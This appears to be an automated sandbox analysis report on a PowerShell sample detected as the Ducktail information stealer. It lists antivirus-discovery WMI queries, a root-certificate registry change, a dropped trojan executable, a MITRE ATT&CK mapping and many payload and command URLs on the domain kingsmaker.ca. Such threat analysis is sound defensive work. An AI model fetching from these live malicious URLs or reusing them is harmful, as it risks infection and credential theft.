Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: powershell.exe, 00000000.00000002.1908347899.000002726D720000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3064844354.000001DAF1C9B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Blob

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: amsi64_3688.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3688, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: amsi64_3688.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3688, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	321 Windows Management Instrumentation	1 Windows Service	1 Windows Service	21 Masquerading	OS Credential Dumping	441 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 DLL Side-Loading	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kingsmaker_6.ca.ps1	11%	ReversingLabs
kingsmaker_6.ca.ps1	16%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\svczHost.exe	67%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label	Link
http://www.microsoft.coL	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/c9afX	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/c9af4eb65b32cc5a1a04364bb04718580813a988e08eb74585229c2e772e2187549fdd22	0%	Avira URL Cloud	safe
https://kingsmaker.ca	0%	Avira URL Cloud	safe
http://kingsmaker.ca	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139fde1595928ef28d057	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e0d340a354c1a6cdae5	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db115da9503bff5f3eb63dd5c8b58a4edbb94e89e961ebecca194b9e0e9e7656d46736c256bfc8b3dc86635484638b966bdfe9f1621daa6f792b5a53044675d929c45f5b8ee476604bf020ab6dd8	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa66742445be33750b633b56ea7f99bbb29fdde9b913e810a43e3fb7fc67f0c3fa02ef9b3c2868997a0d2ca950c4eb32e3b408791f34e135b54dbce6fa1a4c76	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400df08dbb5e2d0894c9d90c9a	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18X	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db11	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa667424	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb87ec64b75eef9f6703a3eb783bfa9ee7e92345daa3a62b976fb3d4ee238d363a7b5e9cf6d398cb37e4de3d85ec1f5daf0cf8c35fefe5c7fdd20dd092/Windows%20Defender/4/4/user/200	0%	Avira URL Cloud	safe
http://kingsmaker.ca	1%	Virustotal		Browse
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad5X	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729	0%	Avira URL Cloud	safe
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/c9af	0%	Avira URL Cloud	safe
http://kingsmaker.ca/api/check	0%	Avira URL Cloud	safe
https://kingsmaker.cX2k	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e7	0%	Avira URL Cloud	safe
https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b04afca3c479a650327a20a9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
kingsmaker.ca	104.21.75.170	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.208.102	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139fde1595928ef28d057	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e0d340a354c1a6cdae5	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db115da9503bff5f3eb63dd5c8b58a4edbb94e89e961ebecca194b9e0e9e7656d46736c256bfc8b3dc86635484638b966bdfe9f1621daa6f792b5a53044675d929c45f5b8ee476604bf020ab6dd8	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa66742445be33750b633b56ea7f99bbb29fdde9b913e810a43e3fb7fc67f0c3fa02ef9b3c2868997a0d2ca950c4eb32e3b408791f34e135b54dbce6fa1a4c76	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400df08dbb5e2d0894c9d90c9a	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb87ec64b75eef9f6703a3eb783bfa9ee7e92345daa3a62b976fb3d4ee238d363a7b5e9cf6d398cb37e4de3d85ec1f5daf0cf8c35fefe5c7fdd20dd092/Windows%20Defender/4/4/user/200	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43	false	Avira URL Cloud: safe	unknown
http://kingsmaker.ca/api/check	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b04afca3c479a650327a20a9	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
http://www.microsoft.coL	powershell.exe, 0000001B.00000002.2921270489.000001672745E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/c9afX	powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000006.00000002.1853636972.000002747B320000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca	powershell.exe, 00000000.00000002.1805165042.0000027254E77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9C8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DADB5DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://github.com/dotnet/runtime	powershell.exe, 0000000B.00000002.2943260832.000001DAE99B1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF7409F1000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe.11.dr	false		high
https://kingsmaker.ca/file2/c9af4eb65b32cc5a1a04364bb04718580813a988e08eb74585229c2e772e2187549fdd22	powershell.exe, 00000000.00000002.1805165042.000002725539B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://kingsmaker.ca	powershell.exe, 00000000.00000002.1805165042.000002725671D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DADB5DE000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://aka.ms/dotnet-warnings/	powershell.exe, 0000000B.00000002.2943260832.000001DAE99B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF7409F1000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe.11.dr	false		high
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e	powershell.exe, 00000000.00000002.1805165042.00000272552EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1895261189.0000027264CC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F534000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBE3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a	powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9B39000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb	powershell.exe, 00000000.00000002.1805165042.0000027254E77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1805165042.0000027254C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp, powershell.exe, 0000001B.00000002.2307976891.000001670F381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA4D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://kingsmaker.ca/4cbd637a18X	powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db11	powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa667424	powershell.exe, 0000000B.00000002.2269320725.000001DAD9CCB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1895261189.0000027264CC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1895261189.0000027264E65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F534000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBE3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000001F.00000002.2325249929.00000244DB603000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2950890202.00000244F24F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DAE06000.00000004.00000800.00020000.00000000.sdmp	false		high
